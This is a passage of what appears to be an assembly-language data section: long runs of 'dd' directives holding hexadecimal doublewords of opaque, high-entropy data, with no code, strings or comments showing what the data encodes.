		dd 0BDCD37B4h, 872B3250h, 0B3F81355h, 23233ECAh, 2E8A3A3Fh
		dd 0E07698E3h, 1B97B66h, 7B54B55Fh, 941DAA5Eh, 0DAA5876Ah
		dd 0BC8AEE31h, 73368A33h, 0F2C97241h, 0A1F9B483h, 0EFF5A01Ch
		dd 0DCF81724h, 0BA23A4F3h, 0D5C976EFh, 25EC1ECFh, 0E71D6747h
		dd 3A6462BDh, 0F12316EFh, 0FC25ACFCh, 0C1923164h, 0EF41F206h
		dd 0F1E75C47h, 8D711C40h, 39070D1h, 61B6CC7Dh, 4876A90Dh
		dd 890B9BB9h, 7A831Dh, 4EFD9622h, 54CC04A8h, 0A2B1A739h
		dd 0F38AC418h, 0CFF5712Ah, 60E9F30Ah, 89A86750h, 2DBB4B0Fh
		dd 6F220470h, 9971CF41h, 863EE4B8h, 0FA68EE11h,	1BB33831h
		dd 7A48717Eh, 0F4898F0Ah, 8A925214h, 14DBA0C1h,	8702683Ch
		dd 3ACDA52Ch, 0CEE0F40Eh, 944CA7A5h, 759F0522h,	784BB560h
		dd 753E12E3h, 1543B089h, 66458C3Eh, 0EE30B855h,	0EB881B3Fh
		dd 0E64BA142h, 0AA9C7C6Bh, 0CA40069Dh, 34628EEh, 0BE1AE5C7h
		dd 67EEC94h, 79847038h,	208EB913h, 35C733E1h, 8D3D28DEh
		dd 0DDBD4250h, 6DFC4D4Fh, 1576D93Eh, 21CF8887h,	4A352FE4h
		dd 4E3478A2h, 405868A2h, 0DC414575h, 9DB62D11h,	0ED9C759Fh
		dd 6AC80BFEh, 977DDB09h, 5A16568Eh, 0D1E99605h,	4BF1A7ACh
		dd 0EF217944h, 9A69A484h, 93F22728h, 1EB1ECF0h,	6DC604DEh
		dd 0D2512E6Bh, 524ACD9Ah, 363141B3h, 0E6B8949Bh, 0B1DC55ACh
		dd 318AC2D2h, 985BF036h, 18AE913Dh, 0AB9E8D79h,	48FCE512h
		dd 0F2C18EDh, 0B9E5851Ah, 23A93281h, 579C762Ah,	75FA40D9h
		dd 69DFCAB4h, 0D3D5B6Eh, 87C7C65Bh, 2A42E9EAh, 82D03637h
		dd 61E8D8EEh, 46053FBBh, 0AB443AA1h, 83801540h,	3CAF2675h
		dd 693D0463h, 0E91AD40h, 0EED9B8A2h, 0B9FDE47Ch, 7AD0BC4Ah
		dd 0AA2BECE5h, 84573E2Ah, 0B977691Dh, 0ED233289h, 7646A0F6h
		dd 0DD93A017h, 94AB3A8Dh, 2782BE3Fh, 0F0C4B085h, 15804470h
		dd 0A34C4E46h, 0C62A901Bh, 43818B22h, 0F43159B0h, 8C406E7Bh
		dd 407BB156h, 0A2FB2A3Fh, 702A71BFh, 84481D9Ch,	7183508Ah
		dd 0F53B86B8h, 0E3625D60h, 0E362318h, 20249131h, 0AEA8EF1Ch
		dd 0D855C8E1h, 234CCC6Ch, 0AC5B419Fh, 7F235318h, 22170680h
		dd 0CE87C315h, 631D8BC6h, 4728B06Ah, 9EEE83DAh,	0C086264Fh
		dd 0A1A62B4Eh, 1BE07A5Dh, 0CF693A90h, 2908C04Ch, 5E545741h
		dd 8C0EE10Ch, 263AE419h, 0FAA4C9EDh, 4A7A0E1Dh,	242E1A61h
		dd 0D9926019h, 563D81B8h, 6C03F9F4h, 0D82E0777h, 7708C431h
		dd 0C1A1DD03h, 566BE0F8h, 10092024h, 21E33BB7h,	884CECE3h
		dd 0F2092285h, 0B81D21C9h, 0FD274A19h, 0A8538AD0h, 7CC8A1AEh
		dd 64496ACAh, 39ABEC19h, 7AFF40Eh, 0FE83C7FDh, 0E37FA00Dh
		dd 0C03E48AAh, 67FB391h, 17FA43BFh, 3B92D789h, 49386202h
		dd 0BBF023F1h, 982301Ah, 6C1F23Ch, 6A370814h, 3ADE5445h
		dd 0F9A4188Ch, 0C0ACD026h, 0A8B7C23Bh, 35E8A83Eh, 0C7DB29B3h
		dd 0AC137FCEh, 0A82F8846h, 0EEE609D6h, 0FCCA7C63h, 801D0537h
		dd 944A9AF7h, 703760B3h, 30FB64E8h, 48FE9C86h, 5C71AE0Ah
		dd 3A7375A5h, 8C019A30h, 4E8C0EDEh, 0AF274602h,	46C30C89h
		dd 0E7EF57FCh, 49B20EBh, 0BE75762Fh, 9680DF0h, 3A658213h
		dd 90B1417Fh, 8835C478h, 50B1452Eh, 21617CC0h, 28002DD2h
		dd 273A8EAAh, 0B0BAE1D9h, 8B2DA2DDh, 70CF4AF6h,	6EE63264h
		dd 16010FAEh, 7502FB49h, 289E883Dh, 0B2C14712h,	9AF792EAh
		dd 34740C23h, 16CB83B3h, 0B5518DDBh, 0C647AE52h, 0F268DDA5h
		dd 0D3B0474Ah, 0C03277E4h, 1738CC4Dh, 5611D222h, 98AB8156h
		dd 0C238CB04h, 75B46ED2h, 32000261h, 0C5F0016Fh, 0F4164164h
		dd 40E14F83h, 222FAAFh,	7790D3D5h, 0E98599D2h, 2C075F4Dh
		dd 5A6CF5C4h, 20DA35FDh, 0F5A8352Eh, 0C2830FA4h, 98C9DE3Fh
		dd 0E63266D7h, 4056502Dh, 29FD08D9h, 72813E50h,	2869CA0Ah
		dd 41B1431Fh, 7CCA1BB9h, 1943F728h, 0CA10B280h,	0A1732871h
		dd 79B180ECh, 5D43E750h, 0EFD7F50Dh, 46518B80h,	1E0E8646h
		dd 437A1971h, 0C6E1867Ch
		dd 19FB432Fh, 894C1233h, 0C9194919h, 19A92919h,	19196919h
		dd 0C64279ACh, 5863136Dh, 7C15F30Bh, 8443C53Ah,	8F1A7C29h
		dd 0BE73B61h, 928984BEh, 5308CC58h, 831CEC4h, 68FC0475h
		dd 0E34C3D2Eh, 2E325C1Eh, 1CB2FB12h, 7BE74474h,	0CBC26B75h
		dd 42E5D731h, 0C4230F85h, 0AA1D3ECBh, 0F9058082h, 80A8E629h
		dd 0E647849Ah, 4C1E1305h, 1240B6E2h, 94F35F75h,	0FE21C71Ah
		dd 0CAF69A6Eh, 0AAAE7D6Fh, 0A840B4CAh, 524E1533h, 0DB23C997h
		dd 0B3000CFFh, 24A2D4B4h, 0F581AD37h, 0A28127E4h, 95561206h
		dd 0C160A0C8h, 712AA640h, 146263E4h, 4E426437h,	81BF76C6h
		dd 0C75444A9h, 1B40BF76h, 8FF76C71h, 76CF4368h,	0F5C8C6EFh
		dd 37684FD8h, 317EF3BEh, 4F03646Ah, 4D4AAF42h, 3FD4D9Fh
		dd 0EC3ED8FBh, 8CFE93CAh, 57243FF6h, 269983C4h,	8DE93B28h
		dd 79BA1F50h, 48528F29h, 15657565h, 0A91850DCh,	9F4D5333h
		dd 71797989h, 7CD590BCh, 92953643h, 0D25AB33Bh,	5A95E9ABh
		dd 0D3F34EEAh, 0B9439259h, 777E4AB7h, 3BA1BC08h, 2BD246B3h
		dd 9FE4AB93h, 0BD24A6E0h, 0C92835E4h, 0CA8B7455h, 917BC41Fh
		dd 0F7031C31h, 4F05B82Dh, 0BE3AEBC7h, 45EC7074h, 0E2490AD1h
		dd 7E47007Ah, 641F9E8Ch, 3401F91Bh, 9AC62DE0h, 0B2A1309Ah
		dd 2CD46B87h, 0E96B705Fh, 0ABE34FA1h, 77079FF5h, 0C41188EAh
		dd 4C8AA66Dh, 0F128B98Ah, 2CFC461Eh, 1E70996Bh,	78E5FA32h
		dd 0EF92F09Dh, 1AB858E3h, 70C4AA1Ah, 27D0EFA9h,	78B21830h
		dd 1C206318h, 9CB2FA48h, 2EAF4438h, 0C5DCA28Bh,	0DDB06F59h
		dd 9E34336Fh, 0F0AB56FCh, 0DBE1EAE2h, 0F3AFC3Dh, 97C4277Fh
		dd 0E21F3157h, 0E6EA9DE8h, 0EF8225DDh, 5322BF53h, 0A5521C79h
		dd 0E5E9A9E6h, 47A378h,	72F96C77h, 0E5F2F414h, 8015BA6Ah
		dd 17709931h, 5F14B595h, 35580555h, 434AAAAFh, 7A38E52Bh
		dd 1D09CDF6h, 0D83EBB72h, 754FE04h, 0ABDAD554h,	3CC33E82h
		dd 0DD5D7946h, 0D447206Eh, 850AB93Ch, 544CA35Fh, 905E22F3h
		dd 0F1B33525h, 2C8B1377h, 74F8378Eh, 30B15BB4h,	0DC2F884Eh
		dd 0BDC3763Ch, 0C0664593h, 76ECD14Dh, 595025F9h, 0CE8DE39Ah
		dd 0A5754F24h, 0CE12E07Ch, 0AB8D318h, 0AC95132Ah, 336C96C2h
		dd 0DD5FC1Bh, 8E7CD125h, 0C8FB56F1h, 3DE3302h, 371304h
		dd 0BB558889h, 7B859970h, 9919A4ABh, 33BC2880h,	6DC29E0Bh
		dd 0C748CEF0h, 0A08C8BC8h, 5108199Ch, 5AD6848Ch, 0C84A54CCh
		dd 0FA588851h, 6657C477h, 6476BD2h, 1A1B3879h, 0ADF4D93Dh
		dd 0CFF73E0Eh, 4A8EEFA4h, 831200E1h, 1E11AFF5h,	0EB07B847h
		dd 0F50897AEh, 0DFB3B462h, 9A12D782h, 0A997112Fh, 0E8607B07h
		dd 1F0A1EF8h, 68E3A52h,	74A0EF9Eh, 0E31AFC57h, 847F1AA9h
		dd 4DAB5F72h, 78C132E1h, 0E22717B2h, 115295DEh,	0F922F646h
		dd 0F937EEC2h, 4EB5C71Ah, 664395DBh, 0E3E14E61h, 8278F1D4h
		dd 20B5317Bh, 0F186E039h, 4BEE5475h, 0B63B250Bh, 0E5943C4h
		dd 89F9D24Ah, 26235D32h, 0AC9F6E7Fh, 7482A391h,	91BB57ABh
		dd 0E89417E8h, 0B89DE162h, 0A8946092h, 0E52A490Ch, 34FA2F7Ah
		dd 0DB4D9A92h, 95692328h, 8B3DE341h, 73D3564Fh,	933D6541h
		dd 54CCCDE8h, 0FC86BF57h, 955356A1h, 0CD255401h, 3C6251C0h
		dd 655A0D3Eh, 1841CCC1h, 0A4319383h, 0A1709625h, 7FC9F61Fh
		dd 4D00B01h, 0F4FBA7E7h, 0D0FCCF8Bh, 15DC4982h,	47790D77h
		dd 52149CA2h, 0FB7C612Eh, 6AC366BAh, 23A700B2h,	0A610F14Eh
		dd 4E91521Eh, 7BABC547h, 0AC69C71Ch, 8E8F82A3h,	0F8CA782Bh
		dd 0DC15E900h, 4BA957C4h, 6F3455B5h, 0B48CF9D1h, 4E1900D5h
		dd 739497D5h, 29A8FEEBh, 28F14CBAh, 22AAD51Dh, 0B15089B5h
		dd 29908388h, 1F9F6F40h, 11367F27h, 2FA12F8Dh, 48E66B1Eh
		dd 132A01BCh, 0D260861Ah, 0AAF57DECh, 0F66AE598h, 9D445B19h
		dd 41E28481h, 0F0462DB4h, 0F468F1A8h, 3E21F1FBh, 0CDCA2F46h
		dd 65F84D25h, 0FC0939A1h, 0E17C6EE9h, 6017A6A1h, 0D8D6A17Ch
		dd 225CBCC7h, 67C5E159h, 7929131Fh, 0C66C9DE5h,	18A8EB3Ch
		dd 516BC031h, 8DBD8E8Ah, 0C2111CC0h, 7E2D22D7h,	27EFDAF9h
		dd 7046C3DFh, 0C4AE260Fh, 8A0E38E4h, 4F1130EAh,	31E5304Ah
		dd 4F2C10C5h, 0D650C553h, 0A9B9003h, 149EC8E7h,	898532EAh
		dd 11BD4570h, 315028DBh, 50C8C643h, 756F8997h, 0FCDA5F40h
		dd 53C810DAh, 3EC47AE1h, 0FB5F1C7Ah, 0F48254BDh, 0B881607Ah
		dd 8E63B8C7h, 0A9324770h, 614BC133h, 6B2A8849h,	35418AC5h
		dd 18854AB8h, 3DC1081Ah, 2D97A54Ah, 1D8F3F19h, 0D4051B81h
		dd 170203BCh, 1682153Fh, 41C9D69Fh, 4B9AEA8Ch, 2926908Ch
		dd 0C4E682F7h, 3B86060Dh, 34B1926h, 0E289ED03h,	0BC074335h
		dd 20E255A3h, 181C5DE3h, 7E54669Ch, 19463624h, 0F0CA23B1h
		dd 14CEC5B3h, 0C7024248h, 0A7BC34F8h, 0F214456h, 6917C5Ch
		dd 22884Dh, 0C92428Bh, 74C22B30h, 9190C3B5h, 610D712h
		dd 2DB83DF1h, 9805B1F6h, 0D5CDD22Dh, 1CD07B49h,	10818F20h
		dd 8041D264h, 0E0A4F430h, 65347289h, 0CDBED7D1h, 0FBAA2686h
		dd 0C97422F4h, 0F6841EA1h, 9E9EEA0h, 7A30EA2h, 8F17DC75h
		dd 26CFBD64h, 950F43A1h, 6F30A6F4h, 0ED57E97Dh,	0EE54E2ABh
		dd 4CA9BE22h, 97A4750Eh, 6CCAC8B9h, 0C8FF48F3h,	0C19FB119h
		dd 4AD2E857h, 264409Ah,	0B80652D2h, 99713749h, 1C949B80h
		dd 93A26612h, 77B809C6h, 0FD273E47h, 3D406E98h,	0EB23C244h
		dd 0F4947E01h, 0A93FAD61h, 290E0194h, 798BC257h, 9CA939A0h
		dd 9FE4E0FCh, 0F27F64Eh, 0F48C308h, 0D409954h, 53E476A1h
		dd 34B6C9FDh, 30EDD007h, 0A00EB1B5h, 74B89EDDh,	58EE2016h
		dd 0DC99D99h, 2D0CCB40h, 84AEC54Bh, 0FD233391h,	0BC8619E2h
		dd 3E13AF09h, 996A5C0h,	0FEB030E3h, 0D6F3335Eh,	0E483A7F8h
		dd 0F84F0A3h, 91C92814h, 8EF180B3h, 9ABCA59Ch, 5E8B5D60h
		dd 9FD59D6Bh, 6E83835Ah, 4B47F9F9h, 47FBA5B6h, 0D919B6B3h
		dd 6A7BD03h, 1704E4C3h,	7A9D9FF2h, 0DF185CEAh, 3E2984ABh
		dd 7F3FC343h, 30D5D4E2h, 75743DE9h, 0C344122Ah,	0E1BD20D0h
		dd 0ADFB8B2Fh, 0B6D47805h, 0EBF48DA5h, 0AA1C30Fh, 4C21DF30h
		dd 10797865h, 2387B732h, 8F839A88h, 0BB234E80h,	3928EB30h
		dd 0B391D01Ch, 0C4A44C4h, 0C4FFE195h, 1CA29FF7h, 0CA007986h
		dd 0A01B282Ah, 84E941B4h, 679428F2h, 4A02FCA0h,	0A077942Fh
		dd 432879Ch, 38DF08C5h,	63DCA033h, 0C770E6D3h, 0D750ADEAh
		dd 0D633DAC5h, 0D4294C33h, 5A5A1AEBh, 0DBAC36D6h, 0B6C6FD8Ch
		dd 8036D6B6h, 68D66EB5h, 84CFB174h, 0FE0A5BBAh,	0F26F5BCEh
		dd 0BED36057h, 0B9CCCE4Fh, 30015B09h, 0EB185048h, 47B02Dh
		dd 9FFD6E56h, 0BA67E3DDh, 0B5D696B2h, 2DA52D0Dh, 8BF3E9F8h
		dd 0E9BBCF58h, 1EF08D5Bh, 0B773D622h, 45EF4235h, 0BE36CB7Dh
		dd 5DD6DD6Dh, 0C6579220h, 994A5BDBh, 0CBE20C4Bh, 6B6DAD37h
		dd 0ECC5DB68h, 0F23595D0h, 85EBAD15h, 0C34F4696h, 8D2DF596h
		dd 2B89ED40h, 1F586D6Fh, 0F7FE80A3h, 0ADB2A691h, 0FAE95D75h
		dd 0DB8D6DF5h, 0F3CC31B6h, 3C0D7CDAh, 55C73760h, 0A6FC2D08h
		dd 0C6F8BB85h, 9BD5AD95h, 6A2E37D6h, 5E63686Ah,	8D2D14A3h
		dd 47B320B0h, 0D95E0E3Fh, 0D996837Ah, 3796B384h, 9A5DE36Ch
		dd 7DE9B68Ah, 6178DA9Bh, 0AECC6B7Ch, 0CCAC3EF1h, 0F83AE37h
		dd 0AD735FCCh, 0E72AEA58h, 0B7D7736Ch, 0FBCC30B4h, 6DB63B71h
		dd 85B4DB6Dh, 54CA50DFh
		dd 0C62B5D79h, 516626E1h, 62C977B9h, 83EB5B77h,	1BF01E5Eh
		dd 0D69D5C99h, 0D5595040h, 0A636C592h, 9C71A5B5h, 0FF1BF63Ch
		dd 0A6DD7F66h, 0AC4244D9h, 0DFFD0CBCh, 69B21941h, 0C1CFB6DFh
		dd 50798F77h, 36508BFh,	9DBF6FB4h, 7683DE61h, 11CE0722h
		dd 64CA058Ah, 0B9417728h, 9CFDCA1Bh, 0F0717566h, 1303078Fh
		dd 0EF1918CFh, 0E37C6DAEh, 6D717483h, 5CC08BA7h, 5BAD4599h
		dd 30C55177h, 0C9661520h, 772F3E16h, 0CBC656D9h, 0FE35B6B7h
		dd 6C00FBDFh, 3045FFC6h, 0CD35BC4Ch, 679ADD3Ah,	623EB12Dh
		dd 0BCFAC27Dh, 61EB55F5h, 0A0EB09EBh, 0B0EB33F5h, 9DC73E35h
		dd 32B39E53h, 85E726A7h, 0BCE4DF9Ch, 8E5EF39Dh,	0C7397392h
		dd 0CDB24B60h, 856D59B4h, 0D2AD8F36h, 675B6B56h, 6C136ADBh
		dd 67BED98Fh, 6E3B683Bh, 74F6D77Bh, 0E1B96BEEh,	0C53D9D5Ch
		dd 679ECF3Eh, 695F685Fh, 6CDF635Fh, 0F65DEDE7h,	0F6C3D99Fh
		dd 0FB61F60Bh, 0BCF6FB75h, 0E68DE53Fh, 0E4F7F9B1h, 943FE4E7h
		dd 7B20BE7Fh, 0EDFCCB7Eh, 0DFF9A5F3h, 0E22ECC72h, 0D2289E8Ah
		dd 0BC5F982Dh, 0C557F8BFh, 0C583C5BDh, 744E2C7Fh, 38273AA6h
		dd 9D939DD3h, 39A73A77h, 73EF3867h, 38E671CEh, 0E742CEEDh
		dd 0D3A96702h, 0ACE25CE5h, 56772E70h, 0B59C6B39h, 0EFE706CEh
		dd 0B53A9F9Dh, 6BE03B3Fh, 97F59F4Dh, 0EB019FB0h, 6B65EB39h
		dd 939B0E5Ch, 0CE40F391h, 0B6CC738Fh, 0B6D96DDBh, 0DB3CB679h
		dd 0AD995B42h, 0DB6756DAh, 0F36EDB68h, 7ED8F6DBh, 76DD7B60h
		dd 336836D8h, 32B97371h, 0E7AB82AEh, 0B8FB7236h, 72EFB9C7h
		dd 0B8CFDC3Dh, 0E45EE57Fh, 0EE51DCC2h, 0EE43EE7Dh, 6E47F72Ch
		dd 7C626208h, 0D4EE726Eh, 0DEB925DCh, 89F7295Ch, 0F6E5EFDCh
		dd 1B9ABEE4h, 0F720FDCAh, 734FDCE3h, 76EDD9A7h,	7D857DB7h
		dd 6FDFEC03h, 0A1FF63DFh, 87FB59FDh, 0C576F3F6h, 0B51EC97Eh
		dd 0F212F2EBh, 0F3D3792Ch, 0F3B9E666h, 0F37AF2EAh, 0E40DE74Eh
		dd 0F257CB9Fh, 0E68FCF3Fh, 571F917Fh, 52905090h, 0A4C15B70h
		dd 0F50EFF82h, 0FAAB3BFFh, 9857F505h, 1EA5FE69h, 5926198Dh
		dd 59C63B73h, 0CD31E69Dh, 9A97CD09h, 0F6A94D0Eh, 8B6D282Fh
		dd 4AAD33F6h, 0A59BA697h, 0EBB3A79Bh, 0D7ADD4EEh, 0A6DBABDDh
		dd 8CF7527Bh, 0BCD043EEh, 745FBAF3h, 0F4A3F543h, 0EBF7F40Bh
		dd 0AABFD71Fh, 0C43F58FFh, 5F3C0D10h, 0A504FC6Dh, 68D3A623h
		dd 15BB591Ch, 8A1D15E7h, 0CA75E520h, 4AB1CA31h,	32A67285h
		dd 5958B957h, 0F957BCA6h, 1AA252A0h, 6D57AAABh,	0FAA07D55h
		dd 25457556h, 0CB508F51h, 0AD413D4h, 0A71D41B5h, 0ABA7514Eh
		dd 0D5B3D533h, 0A025EA79h, 4AEA1577h, 756EFC94h, 0FAB37AADh
		dd 0D587EA77h, 0D5BBD5DBh, 0A7418047h, 67AB1FD5h, 0C22E0680h
		dd 0F34DB8BCh, 8C61CD7Bh, 3F34CFEAh, 4D67E69h, 0FF6B0769h
		dd 0ADAE3DA4h, 0FBA63DD1h, 0BA2FEEA3h, 0D45EEBBFh, 335D61Dh
		dd 0B9427ED3h, 0FA65EBFBh, 7D2AF45Bh, 14053E9Ch, 56BF5B2Bh
		dd 107FA75Fh, 0FF4A78B5h, 0A0F3FD67h, 0A330C75Eh, 0D56FA87Dh
		dd 7FCB41BBh, 0F10C4BD6h, 2CA669A6h, 0C2A98953h, 5C9B774h
		dd 7A65DBACh, 7A6CD4CEh, 0E981F4C7h, 0D359D313h, 0C041A60Fh
		dd 79811BBEh, 0B34ACC13h, 9CC53CD9h, 0CE6F9E63h, 2B9B9737h
		dd 0D5CD6BCDh, 309F3F98h, 93E68BFh, 3985FF5Ah, 9DF342C5h
		dd 0F1C62044h, 0CB5FE4CFh, 142A2B47h, 0F3D557Fh, 0F55A720Ah
		dd 55D3E83Dh, 0F5F51F55h, 1CF534EAh, 0D7542F5h,	0F521EA7Ah
		dd 0EA53EA73h, 0AB9FD48Fh, 0EAF3EADDh, 8417582Bh, 9B9AA469h
		dd 685032B0h, 6A1B1AB4h, 0AED34BBDh, 742301F9h,	0AB51B68Fh
		dd 0E97559D7h, 0A9E8D9BAh, 0E84F7587h, 405EE976h, 7606DF9Dh
		dd 0A2BBAD7Dh, 0A4DFD08Bh, 62FD4CFh, 0AFA55B8Dh, 0FF4BBD6h
		dd 0CFA30FEBh, 1807EAAEh, 0C6786F4h, 0E34A0CC7h, 9833E34Ah
		dd 0B6315E33h, 4DC99C62h, 980F4DB3h, 687D36DEh,	0DE74CCFAh
		dd 8E1A89D4h, 0E3CDAB34h, 0D96792Ch, 0A72C4796h, 0B17FDB40h
		dd 5AFA5A74h, 8CE46107h, 675AC6B6h, 4B5A175Ah, 1BAC2BACh
		dd 0B75AF7ACh, 6B17F59h, 72E259C5h, 15C5E6E3h, 0BB8C6DC5h
		dd 0A8376E2Fh, 8BB8C9F2h, 936A784h, 209E4DE3h, 0CB17904Fh
		dd 0CB37CB57h, 961F969Fh, 2907945Fh, 288629FAh,	8A791452h
		dd 0FBA98C22h, 4E2A4F14h, 0AB7D5281h, 8BF149F8h, 0A11153A2h
		dd 0AF1CAA1Ch, 14F6044Ch, 9F2A3728h, 2395BA55h,	9B2AA954h
		dd 70D513EAh, 0CBE078F5h, 19C2602Ch, 3A874FB4h,	89AE1344h
		dd 626B44D4h, 6A341334h, 0A493598Dh, 69EAC749h,	71AEC6AEh
		dd 79DA1468h, 0FFA8D1DAh, 63BFFAC3h, 14348CBEh,	9F0D2A18h
		dd 2D006E1Ah, 0D138C2FDh, 0D3B4C534h, 25E9ACF4h, 39E86DD3h
		dd 7DC76827h, 32ECF558h, 9CF59DFFh, 8064341Bh, 0B722D225h
		dd 59E65A64h, 8971400Ah, 4EADD886h, 43B8D4EBh, 0E842C271h
		dd 0ED1D24A1h, 0CB5F0BA0h, 15A314C3h, 0B3158572h, 57CA23C3h
		dd 54F50654h, 0EAFDF160h, 3493D547h, 0A557F47Ah, 56CD1EE6h
		dd 64DD00CDh, 1EEE925Dh, 0A78C66DDh, 9857DD56h,	73EB4739h
		dd 0A5F5F3F4h, 7FF427FAh, 0ACE21AC4h, 864346FEh, 2FE18E61h
		dd 8E187F86h, 84373E1Ah, 6F188718h, 0F318E632h,	9F1B8F8Dh
		dd 0D8D5FE36h, 1C613C68h, 14C9FA69h, 0CF374E6Eh, 0BB31DB33h
		dd 655E69DFh, 1F7E653Eh, 0E6F7CAB3h, 66549450h,	7D6515B9h
		dd 6822F2CAh, 75EB3F44h, 0DBD611D6h, 0F9D639ADh, 21D69DD6h
		dd 14E3C371h, 0AFB8BA71h, 3090C6B1h, 635A6F5Eh,	94CF954Ch
		dd 0C9F7E5DBh, 2EBF931Fh, 512E5CFFh, 51B8A75Ch,	0AA915931h
		dd 0A458A398h, 0A03C56A8h, 0C638ADD8h, 152F9066h, 282E28DFh
		dd 958228AEh, 958395FDh, 94A395C3h, 4AC9CAB1h, 0D9F5E61Dh
		dd 6E522CAh, 3FCA03E5h,	0B7D4C32Bh, 0AD18ADA8h,	0E3EAC7Ch
		dd 0FD50735Ah, 2D12660Ah, 4D762BD6h, 0F35EA6B9h, 0F301A68Ch
		dd 0EF9ABBCAh, 3345735h, 756837B5h, 0B16D2CDAh,	59BB5AB6h
		dd 55F680FBh, 4BDAFBEDh, 0A3B55FDAh, 953A3174h,	0C04BA8CEh
		dd 0B744B10Ch, 6EB77746h, 0BA77EE93h, 0BA23BAEDh, 0EADF754Fh
		dd 0F442E92Eh, 0E837F483h, 0F513F463h, 4ADBB406h, 56FD7AFDh
		dd 0B09AC0ACh, 9402FD12h, 6D418C68h, 6EDC3048h,	67986598h
		dd 36286C58h, 37AFA054h, 3C31EE18h, 0DDB3F98Fh,	0DEBC6110h
		dd 6DDC6298h, 1534C5BCh, 0A6FDC9B3h, 0A1AEB14Fh, 28681135h
		dd 0F40DE3DAh, 851154A1h, 0D0A31816h, 0B228A62Bh, 65140B14h
		dd 5140BB8Ah, 4A78AF7Fh, 51C50FF1h, 0F78A5BC5h,	0AE7E9731h
		dd 0A898AAB8h, 0FCAC029Ch, 0F2B5F94Ch, 0E545E53Bh, 0D540E555h
		dd 5044D528h, 0D0E6035Dh, 0CA915554h, 0EB07BAA1h, 0BFAA5D83h
		dd 27551AAAh, 0D631F54h, 0F8460BF2h, 6A4DF530h,	7D513AA3h
		dd 0D6067ABBh, 0E540739Dh, 0BF9C6076h, 2B45BEA9h, 71B56AD7h
		dd 0B3B4DBDAh, 0F9B5F3B5h, 0F5DA15DAh, 0B769DFDAh, 0F662776Bh
		dd 8333A51Dh, 4CC55EF6h, 0C7AF5FD1h, 3305315Ch,	1AFD62C5h
		dd 4CF501BDh, 0C734D41h, 0B06B0CCBh, 6A13F83Eh,	18C63128h
		dd 166B31B3h, 0AB18571Bh, 5B8C9B8Ch, 0C193328Dh, 0BA631D34h
		dd 8EAC1400h, 41FB9DCDh, 6AC07EBFh, 0D5B366EEh,	557A059Ch
		dd 0DE6ADE66h, 0D5803E6Dh, 8B7329D5h, 247815B9h, 0CB3F4B1h
		dd 196F5CB2h, 0B167196Dh, 0B72D925Ah, 0B4E5BD63h, 0C03CB7ACh
		dd 663F7FB0h, 69CB26CFh, 5A047CBh, 0D052ADFDh, 38D69181h
		dd 40A82E6Bh, 0F5A375A5h
		dd 0D693EB61h, 5BCFAC67h, 5A9FAC5Bh, 637EB4BFh,	223713EDh
		dd 9BB8C6EEh, 0A9C7C6E3h, 5371CCE3h, 0AE2B2E3h,	56E24AE2h
		dd 0DB8BADC4h, 0EE35B714h, 719DB8F1h, 10BDC74Fh, 0BBDC4AF7h
		dd 0B5C71F71h, 0F714FDC5h, 0EA0AD10Bh, 4BE8F60Ch, 7C84795Fh
		dd 7C8C7C84h, 7A17563Ch, 0C966EAACh, 16B600EFh,	0D7CA57CBh
		dd 0EC5EFC8h, 0E7F2AFEAh, 4540C7E4h, 8A356708h,	0C54CC534h
		dd 8A4D8A9Dh, 5EB7A03Fh, 68A87C57h, 0BF41CC3h, 0CA81A0E6h
		dd 6578CA61h, 1753D63Eh, 6354C394h, 0EBAA8554h,	93D463D4h
		dd 0FEAC5AD5h, 0CCDB3153h, 6F639755h, 35FA84F4h, 39E68675h
		dd 931AA7CDh, 0F95B3A76h, 0D4BF6937h, 0A3EDA4FEh, 0E0EB1A7Bh
		dd 0D2FF7537h, 0F52BD68Dh, 0FD0EF533h, 4F91D04Eh, 5C9CFB1h
		dd 8F0CB986h, 3E1A761Ah, 0E4339C34h, 0E358ED1Ah, 0C31E321Fh
		dd 6E9AB508h, 2D660EC3h, 0E98B7CDAh, 6CC29373h,	45A08732h
		dd 0B4ECB41Fh, 58B16B3Ch, 594FAD8Bh, 46B58CFFh,	0AF417603h
		dd 7F59CF5Ah, 0CB89CEB4h, 0D58A5B8Fh, 9D718FFFh, 0D01DFF54h
		dd 88324B5Bh, 91F2A1F2h, 2EC58F2h, 0E5BBE4AAh, 14E22B37h
		dd 1993B1ABh, 2CDB758Ch, 0B1951FE5h, 67AAF5AAh,	63EAB554h
		dd 1BD805EAh, 0D48CD7EEh, 46E755FEh, 0EDE96719h, 77F53BFAh
		dd 0A7DFD681h, 17FF447Fh, 0E8CED3ECh, 8DD25113h, 0D2500786h
		dd 1CB2833Fh, 75613432h, 1CB0D575h, 8CE7923Bh, 0B71CB57Fh
		dd 0B3C96DBCh, 0ADCB5916h, 9716B0BBh, 905472D0h, 92AF4E81h
		dd 233F253Fh, 29DE45FFh, 516E2A97h, 8E98A6DCh, 8A03EFB5h
		dd 0CAE91517h, 0E57CE52Ch, 656AE572h, 8F77D615h, 5F2BF72Ah
		dd 8AEABEC7h, 0B15526F2h, 0B8AC41EAh, 0A935519Fh, 87CE06DEh
		dd 57A57F60h, 0A917AB27h, 0F1F56397h, 0F575FA92h, 0EA8BEA27h
		dd 6AF7353Bh, 0A43CD7EEh, 5C734A79h, 0AAE69DF3h, 4E561066h
		dd 0B153B593h, 2DAB9A72h, 0E6D69ED3h, 46B0AAE8h, 0AA4EA3FAh
		dd 682DE857h, 9EB047EFh, 1FFEABFEh, 6FBD5FD8h, 0FB9F6370h
		dd 0E349F198h, 0D80FE319h, 17324EEDh, 0DB7D9E62h, 0F4E831FCh
		dd 68ABE64Fh, 5196E1E3h, 132C5B96h, 0C98B2A2Dh,	0F6558292h
		dd 0B8D89617h, 7125B8E4h, 0E23B71E5h, 187DC5F6h, 8F639F7h
		dd 4CC31D0h, 0D1F2A5EDh, 0BBE55BF2h, 0E330FBE4h, 0CA6D2A24h
		dd 0E53CCA39h, 1869CA43h, 26305BB1h, 0A4FFABCFh, 1F35179h
		dd 0B4E31456h, 6377B433h, 0FED4EE34h, 1B587B4Dh, 55D4CBA6h
		dd 75FB7CA0h, 586D75A7h, 0DAC58C4Fh, 0F84A0375h, 7F43BE85h
		dd 5860C1BDh, 0EA055862h, 66D0DC7Dh, 6B1C6FE8h,	0DC48C34Ch
		dd 78D47C60h, 0B181F8D4h, 0AA0318C3h, 2774DB33h, 4C9FE0C6h
		dd 2AB731C7h, 9AB7C541h, 409F379Fh, 5AC7BE0Dh, 0BE4B16F5h
		dd 0D5B2CAA5h, 1CB7BF2h, 4EAC11CBh, 0BCBF40DFh,	37F6D58Fh
